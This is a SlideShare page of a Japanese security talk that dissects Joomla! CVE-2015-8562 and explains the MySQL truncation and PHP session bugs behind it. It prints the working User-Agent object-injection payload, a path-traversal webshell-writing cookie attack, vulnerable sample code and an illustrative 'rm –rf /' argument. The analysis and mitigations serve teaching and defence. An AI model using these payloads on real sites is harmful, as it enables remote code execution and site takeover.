SlideShare a Scribd company logo
1 of 56
脆弱性は誰のせい?
PHP、MySQL、Joomla! の責任やいかに
HASHコンサルティング株式会社
徳丸 浩
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
2
Joomla! のコード実行脆弱性(CVE-2015-8562)
3
「Joomla!」脆弱性を突かれスパム送信の踏み台に - 藤沢市関連サイト
「えのしま・ふじさわポータルサイト(えのぽ)」が不正アクセスを受け、スパムメール送信の踏み
台に悪用されていたことがわかった。
同サイトは、藤沢市が開設し、その後NPO法人である湘南ふじさわシニアネットが藤沢市と協働運営
の協定のもと運営する地域のポータルサイト。藤沢市によれば、同サイトで利用するコンテンツマ
ネージメントシステム(CMS)の「Joomla!」とPHPの既知の脆弱性が突かれ、不正アクセスを受け
たという。
2015年12月24日にサーバの負荷が急増したことからサーバを停止。1月12日より同市が調査を行って
いたが、今回の不正アクセスにより、同サーバより約60万件のスパムメールが送信されていたことが
判明した。
同サイトでは、「健康づくり応援団」「おいしいふじさわ産」「いきいきシニアライフ」「自治会・
町内会ページ」などのコンテンツも運営しているが、いずれも個人情報を扱っておらず、情報漏洩は
ないと説明している。
同サイトは現在も停止しており、セキュリティ対策など再発防止策を講じたうえで再開する予定。
4http://www.security-next.com/066075 より引用
Joomlaに深刻な脆弱性、パッチ公開2日前から攻撃横行
セキュリティ企業によると、Joomlaの脆弱性修正パッチが公開される2日前から、この脆弱性を突く
ゼロデイ攻撃の発生が確認されていたという。
オープンソースのコンテンツ管理システム(CMS)「Joomla」の更新版が12月14
日(米国時間)に公開され、深刻な脆弱性が修正された。セキュリティ企業のSucuri
は、パッチが公開される2日前からこの脆弱性を突くゼロデイ攻撃の発生が確認され
ていたとして、Joomlaを使っているWebサイトでは直ちにパッチ適用やログ確認な
どの対応に乗り出すよう促している。
Joomlaの脆弱性はバージョン1.5.0~3.4.5に存在していて、悪用されればリモート
でコードを実行される恐れがある。更新版のバージョン3.4.6でこの問題が修正され
た。
Sucuriのブログによれば、この脆弱性は簡単に悪用することができるといい、12月
12日の時点で既に、この問題を悪用した攻撃コードが出回っていたという。
同月13日から14日にかけて攻撃はさらに拡大。Sucuriが運営するWebサイトやハ
ニーポットがことごとく攻撃されたといい、「他のあらゆるJoomlaサイトも恐らく
標的になっている」と同社は推測する。
5http://www.itmedia.co.jp/enterprise/articles/1512/15/news048.html より引用
ゼロデイ攻撃ですと?
6
早く調べなくては(使命感)
…世界の平和に貢献しなくては
7
早く調べなくては(じゃじゃ馬根性)
…ブログ書きたい
8
脆弱性情報はどこに?
9
解説記事から
https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html より引用 10
コードの差分から
diff -r -u joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php
--- joomla-3.4.5/libraries/joomla/session/session.php 2015-10-21 17:48:16.000000000 +0900
+++ joomla-3.4.6/libraries/joomla/session/session.php 2015-12-14 14:42:12.000000000 +0900
-
- // Check for clients browser
- if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
- {
- $browser = $this->get('session.client.browser');
-
- if ($browser === null)
- {
- $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
- }
- elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
- {
- // @todo remove code: $this->_state = 'error';
- // @todo remove code: return false;
- }
+ // Record proxy forwarded for in the session in case we need it later
+ if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'],
FILTER_VALIDATE_IP) !== false)
+ {
+ $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
-
return true;
} 11
PoCから
• User-Agentに下記を設定してJoomla!サイトに2回アクセスす
るだけ。かんたん!
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":
0:{}s:21:"000disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"s
anitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:239:"eval(chr(115).
chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(11
1).chr(117).chr(99).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(4
7).chr(102).chr(120).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:
"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:
"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"000connection";b:1;}𠮷
野家
12
𠮷野家?
※ 出回っているPoCで使われているのは別の文字です
13
攻撃の流れ(Sucuriの解説より)
• Joomla! がUser-Agentをセッション変数に保存するので、
セッション形式のデータ(文字列)をUser-Agent経由でセッ
トする
• その際、「𠮷野家」がトリガーとなって、セッションデータ
の切り詰めが起きる
• 切り詰めが起きると、文字列がオブジェクトに化ける
• 生成されたオブジェクトにより任意のコード実行が可能にな
る
14
PoCには謎が多い
15
Joomla!に対するPoCの謎
• なぜセッション変数に入れた文字列が「切り詰め」されるの
か?
• 切り詰めが起きると、なぜ文字列がオブジェクトに「化け
る」のか
• オブジェクトはデータであり、メソッドが再定義できるわけ
ではないのに、なぜ「任意スクリプト実行」ができるのか?
• PoCに出てくる 000 は何?
• PoCのココは何をしている?
…… ;JFactory::getConfig(); ……
16
なぜセッション変数に入れた文字列が「切り
詰め」されるのか?
17
MySQLの “仕様” だった
18
MySQLの仕様確認
$ mysql test -u root -p
mysql> CREATE TABLE test (test varchar(256))
DEFAULT CHARSET=utf8;
mysql> INSERT INTO test VALUES ('今日のお昼は吉野家にするよ');
mysql> INSERT INTO test VALUES ('今日のお昼は𠮷野家にするよ');
mysql> SELECT * FROM test;
+-----------------------------------------+
| test |
+-----------------------------------------+
| 今日のお昼は吉野家にするよ |
| 今日のお昼は |
+-----------------------------------------+
2 rows in set (0.00 sec)
19
𠮷野家から先がなくなる
UTF-8の4バイト文字を登録しようとすると、そ
の文字を含め、それ以降が切り詰められる!!
切り詰めが起きると、なぜ文字列がオブジェクト
に「化ける」のか
20
PHPの脆弱性CVE-2015-6835
詳しくは http://blog.tokumaru.org/2015/12/joomla-zero-day-attack-caused-by-php.html 参照
21
CVE-2015-6835
22http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-007161.html
PoC
<?php
class Obj1 {
public $pub = 1;
}
session_start();
// User-Agentをセッション変数にセット
$_SESSION[‘example’] = ‘user_agent|O:4:“Obj1”:1:{s:3:“pub”;i:1;}𠮷野家';
$sess_data = session_encode(); // セッションデータを取り出し
var_dump($sess_data); // 表示
$sess_data = str_replace(‘𠮷野家’, ‘’, $sess_data); // 「𠮷野家」を切り詰め
var_dump($sess_data); // 表示
$_SESSION = array(); // 一旦セッションを空に
session_decode($sess_data); // 切り詰めたセッションデータを戻す
var_dump($_SESSION); // セッション変数を表示
23
PoC
# 切り詰め前
string(66)
"example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}𠮷野家";"
# 切り詰め後
string(56) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}";"
# セッション変数のダンプ
array(2) {
["example"]=>
NULL
["50:"user_agent"]=>
object(Obj1)#1 (1) {
["pub"]=>
int(1)
}
}
# Ubuntu12.04 パッチのまったく当たっていないPHP-5.3.10 にて実行
24
文字列の代わりにオブジェクトが出現
CVE-2015-6835の対策
• PHPの標準セッションストレージだと影響はない
• MySQLをセッションストレージにする場合は、セッションデータをさらにbase64
エンコード等する
• PHPバージョンを上げる(サポート中の最新に)
– 5.4.45 以降の 5.4.x (サポート終了)
– 5.5.29 以降の 5.5.x (サポート終了)
– 5.6.13 以降の 5.6.x ○
– 7.0.0 以降の 7.0.x ○
• Linuxディストリビューションの対応
– CentOS 5,6,7ともパッチ提供なし
– Ubuntu 12.04、14.04ともパッチ提供済み、1604は元々問題なし
– Debian/GNU Linux Debian6はパッチ未提供、7以降は提供済み
– Fedora Fedora21以降でパッチ提供済み(20はサポート終了でパッチ提供なし)
25
オブジェクトはデータであり、メソッドが再定義できる
わけではないのに、なぜ「任意スクリプト実行」ができ
るのか?
26
オブジェクトインジェクション攻撃入門
詳しくは http://blog.tokumaru.org/2015/07/phpunserialize.html 参照
27
デシリアライズによるコード実行脆弱性は意外に多い
• Apache Commonsのcollectionsの問題にまつわる一連の脆弱性
– Weblogic: CVE-2015-4852
– WebSphere: CVE-2015-7450
– Jenkins: CVE-2015-8103
– Groovy: CVE-2015-3253
• Ruby On Rails XML Processor YAML Deserialization Code Execution
Vulnerability(CVE-2013-0156)
• FuelPHP において任意のコードが実行される脆弱性(CVE-2014-1999)
• CakePHP の _validatePost 関数における内部 Cake キャッシュを変更さ
れる脆弱性(CVE-2010-4335)
• Joomla!の任意コードが実行される問題(CVE-2015-8562)もこの系統
Copyright © 2016 HASH Consulting Corp. 28
シリアライズ・デシリアライズとは?
• シリアライズ: オブジェクトや配列など任意の型のデータを文
字列形式に変換すること
• デシリアライズ: シリアライズ文字列を元のデータに戻すこと
• PHPでは、それぞれ、serialize() unserialize()関数により可能
29
脆弱なサンプル
<?php
require_once 'Logger.php'; // ログ出力クラス
if (empty($_COOKIE['status']))
die('クッキーが空です');
$status = unserialize($_COOKIE['status']); // デシリアライズ
// 以下バリデーション
if (! is_array($status))
die('statusは配列が必要です');
// 以下表示
echo 'height : ' . htmlspecialchars($status['height']) . '<br>';
echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>';
echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>';
Copyright © 2016 HASH Consulting Corp. 30
脆弱なサンプル(続き)
<?php // Logger.php
class Logger {
const LOGDIR = '/tmp/'; // ログ出力ディレクトリ
private $filename = ''; // ログファイル名
private $log = ''; // ログバッファ
public function __construct($filename) { // ファイル名を指定
if (! preg_match('/A[a-z0-9.]+z/i', $filename)) {
throw new Exception(‘Logger: ファイル名は英数字とドットで…');
}
$this->filename = $filename; // ファイル名
$this->log = ''; // ログバッファ
}
public function add($log) { // ログ出力
$this->log .= $log; // バッファに追加するだけ
}
}
Copyright © 2016 HASH Consulting Corp. 31
脆弱なサンプル(続き)
public function __destruct() { // デストラクタではバッファの中身をファイルに書き出し
$path = self::LOGDIR . $this->filename; // ファイル名の組み立て
$fp = fopen($path, 'a');
if ($fp === false) {
die('Logger: ファイルがオープンできません' . htmlspecialchars($path));
}
if (! flock($fp, LOCK_EX)) { // 排他ロックする
die('Logger: ファイルのロックに失敗しました');
}
fwrite($fp, $this->log); // ログの書き出し
fflush($fp); // フラッシュしてからロック解除
flock($fp, LOCK_UN);
fclose($fp);
}
}
Copyright © 2016 HASH Consulting Corp. 32
攻撃の準備
// 攻撃用スクリプト…攻撃者が使用
<?php
require 'Logger.php'; // ファイル名のバリデーションは無効に
$x = new Logger('../../../var/www/html/evil.php');
$x->add("<?php phpinfo(); ?>n");
setcookie('status', serialize($x));
以下のクッキーを生成する
Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename";
s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:2
0:"<?php phpinfo(); ?>
Copyright © 2016 HASH Consulting Corp. 33
攻撃
前記のクッキーをブラウザにセットしてウェブアクセスすると、Loggerクラスのイ
ンスタンスが作られる
object(Logger)#1 (2) {
["filename":protected]=> string(33)
"../../../../var/www/html/evil.php"
["log":protected]=> string(19) "<?php phpinfo(); ?>"
}
このオブジェクトが破棄されるタイミングで、デストラタクタにより、ログファイ
ル/tmp/../../../var/www/html/evil.php (すなわち、
/var/www/html/evil.php)に下記の内容がログとして出力される
<?php phpinfo(); ?>
Copyright © 2016 HASH Consulting Corp. 34
Joomla!の場合、任意スクリプト実行に悪用でき
るクラスはあるか?
35
任意スクリプト実行に悪用できそうなパターンを探す
• 下記のパターンが Joomla! に含まれないか?
• ドキュメントルート下に .php等の拡張子で任意の文字列が書き込みで
きる(先程の例)
• eval($this->foo); がある
– fooプロパティにPHPスクリプトをセットする
• system($this->foo); がある
– fooプロパティにシェルコマンドをセットする
• call_user_func($this->foo, $this->bar); がある
– fooプロパティに関数名、barプロパティに関数の引数をセットする
例: $this->foo = ‘system’;
$this->bar = ‘rm –rf /’;
36
call_user_func($this->foo, $this->bar);ならある
class SimplePie
{ // 中略
function init()
{ // 中略
if ($this->feed_url !== null || $this->raw_data !== null)
{
if ($this->feed_url !== null)
{
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this-
>cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
// 後略
37
call_user_func(
$this->cache_name_function,
$this->feed_url)
これらの if が全部通
るようにプロパティを
設定する必要あり
PoCを見ると…
38
O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed
_url";s:239:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr
(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).chr(32).chr(47).chr
(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(39).chr(41).chr(59));JF
actory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cach
e";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}
object(SimplePie) {
'feed_url' => 'eval(chr(115).chr(121). 略 .chr(59));JFactory::getConfig();exit
‘,
'cache_name_function' => 'assert‘
}
assert を使って、evalを実行している
※evalは関数ではないので、call_user_funcでは直接呼び出せない
だがどうやって SimplePie::init()を呼び出す
か?
39
JDatabaseDriverMysqli のデストラクタを使う
class JDatabaseDriverMysqli extends JDatabaseDriver
{
public function __destruct() // デストラクタ
{
$this->disconnect();
}
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
40
$h が
0 => SimplePieオブジェクト
1 => ‘init’ となるように設定する
PoCを確認…確かにそうなっている
object(JDatabaseDriverMysqli) {
'disconnectHandlers' =>
array (
array (
0 =>
object(SimplePie) {
'sanitize' =>
JDatabaseDriverMysql::__set_state(array(
)),
'feed_url' => 'eval(chr(115). 略 .chr(59));JFactory::getConfig();exit',
'cache_name_function' => 'assert',
'cache' => true,
'cache_class' => JDatabaseDriverMysql(),
},
1 => 'init',
),
),
// 以下略
41
PoCに出てくる 000 は何?
42
000 の謎
class JSessionStorageDatabase extends JSessionStorage
{
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '000', $data);
// シリアライズされたデータ中に [nul]*[nul] が含まれる
// (protectedなメンバ)ので、それを 000 に変換している
// 文字列中に 000 が含まれると、それも [nul]*[nul]に変換されそう…
43
PoCのココは何をしている?
;JFactory::getConfig();
44
JFactory::getConfig(); の秘密
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
if ($this->cache && $parsed_feed_url[‘scheme’] !== ‘’) // この if文を通過する工夫
// scheme は以下の関数で取得
function parse_iri($iri)
{
preg_match('/^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(?([^#]*))?(#(.*))?$/', $iri, $match);
for ($i = count($match); $i <= 9; $i++)
{
$match[$i] = '';
}
return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' =>
$match[9]);
}
‘/^(([^:/?#]+):)? ← : / ? # 以外の文字
feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要
がある
45
JFactory::getConfig(); の秘密(続き)
‘/^(([^:/?#]+):)? ← : / ? # 以外の文字
feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 :
が続く必要がある
JFactory::getConfig(); は何もしていないが、コロン「:」を入れる必要が
あった
以下のような攻撃文字列でも、おk
touch `echo dG91Y2ggL3RtcC9vY2tlZ2hlbQ== | base64 -d`;:
/ が使えないので、パスをbase64エンコードして指定している
46
脆弱性は誰のせい?
47
Joomla!
• 色々イケテナイ
• Joomla!以外のソフトウェアをいくつか調べたが、テキスト型
の列にセッションデータを格納しているのはJoomla!だけだっ
た
• デストラクタが複雑だし、call_user_func等を呼びまくってい
るのもイケテナイ…
48
MySQL
• UTF-8の4バイト文字があると、エラーにしないで、そこから
先を切り詰める仕様はイケテナイ…
• だが、「仕様」だし、MySQLの脆弱性とまでは言えない
• MySQLの設定を「厳しく」することで、この種の問題を受け
にくくすることが望ましい
49
PHP
• 直接の原因を作っているのはPHP
• 主要ディストリビューションの中で、RHEL/CentOSだけが
パッチを提供していないのはイケテナイ
tokuhirom2015年12月21日 11:07
Twitter などでも指摘されておりますが、文字列型のカラムにバイナリを入れるとい
う joolma! 側の設計にそもそもの問題があり、LONGBLOB などにデータを格納すべ
きだったと思います。
文字列型のカラムにバイナリを入れるという設計に問題があるのでこの脆弱性は、
やはり joolma! の側の脆弱性といって差し支えないように思います。
50
結論
• この脆弱性(CVE-2015-8562)はJoomla! とPHPの共犯
• MySQLは幇助
• Joomla! / PHP / MySQLのいずれかがしっかりしていれば、こ
の問題は顕在化しなかった
• 「防御的プログラミング」により、不慮の問題を避けましょ
う
51
防御的プログラミング
「防御的プログラミング」とはプログラミングに対して防御的になるこ
と、つまり「そうなるはずだ」と決め付けないことである。この発想は
「防御運転」にヒントを得たものだ。防御運転では、他のドライバーが
何をしようとするかまったくわからないと考える。そうすることで、他
のドライバーが危険な行動に出たときに、自分に被害が及ばないように
する。たとえ他のドライバーの過失であっても、自分の身は自分で守る
ことに責任を持つ。同様に、防御的プログラミングの根底にあるのは、
ルーチンに不正なデータが渡されたときに、それが他のルーチンのせい
であったとしても、被害を受けないようにすることだ。もう少し一般的
に言うと、プログラムには必ず問題があり、プログラムは変更されるも
のであり、賢いプログラマはそれを踏まえてコードを開発する、という
認識を持つことである。
CODE COMPLETE 第2版 第8章 から引用
52
対策
53
攻撃の前提条件
• PHPバージョン:
– 5.4.44 以前の 5.4.x
– 5.5.28 以前の 5.5.x
– 5.6.12 以前の 5.6.x
• Joomla! バージョン : 1.5.0 から 3.4.5
• その他:
MySQLの設定にも依存
54
対策
• PHPバージョンを上げる(サポート中の最新に)
– 5.4.45 以降の 5.4.x (サポート終了)
– 5.5.29 以降の 5.5.x (サポート終了)
– 5.6.13 以降の 5.6.x ○
– 7.0.0 以降の 7.0.x ○
– その他、Debian、Ubuntu、Fedoraなら最新のパッチで対応可
• Joomla! バージョン : 3.4.6以降(最新にすること)
• その他(保険的対策):
MySQLの設定: sql_modeにSTRICT_TRANS_TABLESまたは
STRICT_ALL_TABLESを指定(エラーになる)
55
オブジェクトインジェクションの一般的対策
• 根本対策
– 任意オブジェクトが生成できるコードを書かない
– 典型的には、外部からコントロールできる値をunserialize関数に処
理させない
– 文字列がオブジェクトに化けるような脆弱性(!)にパッチを適用する
• 保険的対策
– デストラクタでは複雑な処理を極力避け、後始末等もできれば明示
的に呼び出すようにする
– eval、system、call_user_func等を極力使わない
– 脆弱性対策は局所的な単位で行うようにする
Copyright © 2016 HASH Consulting Corp. 56

More Related Content

What's hot

安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018Hiroshi Tokumaru
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)Hiroshi Tokumaru
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則Hiroshi Tokumaru
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みHiroshi Tokumaru
 
ウェブセキュリティの常識
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識Hiroshi Tokumaru
 
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~Hiroshi Tokumaru
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Hiroshi Tokumaru
 
徳丸本ができるまで
徳丸本ができるまで徳丸本ができるまで
徳丸本ができるまでHiroshi Tokumaru
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012Hiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014Hiroshi Tokumaru
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くHiroshi Tokumaru
 
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座Hiroshi Tokumaru
 
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせphpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせHiroshi Tokumaru
 
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかSecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかHiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2013
安全なPHPアプリケーションの作り方2013安全なPHPアプリケーションの作り方2013
安全なPHPアプリケーションの作り方2013Hiroshi Tokumaru
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
 
Webアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかWebアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかHiroshi Tokumaru
 
PHPカンファレンス2014セキュリティ対談資料
PHPカンファレンス2014セキュリティ対談資料PHPカンファレンス2014セキュリティ対談資料
PHPカンファレンス2014セキュリティ対談資料Yasuo Ohgaki
 

What's hot (20)

安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
 
Phpcon2015
Phpcon2015Phpcon2015
Phpcon2015
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
 
ウェブセキュリティの常識
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識
 
秀スクリプトの話
秀スクリプトの話秀スクリプトの話
秀スクリプトの話
 
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
 
徳丸本ができるまで
徳丸本ができるまで徳丸本ができるまで
徳丸本ができるまで
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
 
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
 
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせphpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
 
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかSecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
 
安全なPHPアプリケーションの作り方2013
安全なPHPアプリケーションの作り方2013安全なPHPアプリケーションの作り方2013
安全なPHPアプリケーションの作り方2013
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
Webアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかWebアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいか
 
PHPカンファレンス2014セキュリティ対談資料
PHPカンファレンス2014セキュリティ対談資料PHPカンファレンス2014セキュリティ対談資料
PHPカンファレンス2014セキュリティ対談資料
 

Similar to 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに

Monadic Programmingのススメ - Functional Reactive Programmingへのアプローチ
Monadic Programmingのススメ - Functional Reactive ProgrammingへのアプローチMonadic Programmingのススメ - Functional Reactive Programmingへのアプローチ
Monadic Programmingのススメ - Functional Reactive ProgrammingへのアプローチTomoharu ASAMI
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
 
大規模なギョームシステムにHaxeを採用してみた話
大規模なギョームシステムにHaxeを採用してみた話大規模なギョームシステムにHaxeを採用してみた話
大規模なギョームシステムにHaxeを採用してみた話terurou
 
[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka
[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka
[Preview] MySQL session at Open Source Conference 2014 .Enterprise OsakaRyusuke Kajiyama
 
あるインフラエンジニアの過去と未来
あるインフラエンジニアの過去と未来あるインフラエンジニアの過去と未来
あるインフラエンジニアの過去と未来Tsubasa Hirota
 
Scalaz-StreamによるFunctional Reactive Programming
Scalaz-StreamによるFunctional Reactive ProgrammingScalaz-StreamによるFunctional Reactive Programming
Scalaz-StreamによるFunctional Reactive ProgrammingTomoharu ASAMI
 
Azure API Management 俺的マニュアル
Azure API Management 俺的マニュアルAzure API Management 俺的マニュアル
Azure API Management 俺的マニュアル貴志 上坂
 
DBTS2016 Data as Code - Delphix
DBTS2016 Data as Code - DelphixDBTS2016 Data as Code - Delphix
DBTS2016 Data as Code - DelphixMasaya Ishikawa
 
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...VirtualTech Japan Inc.
 
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
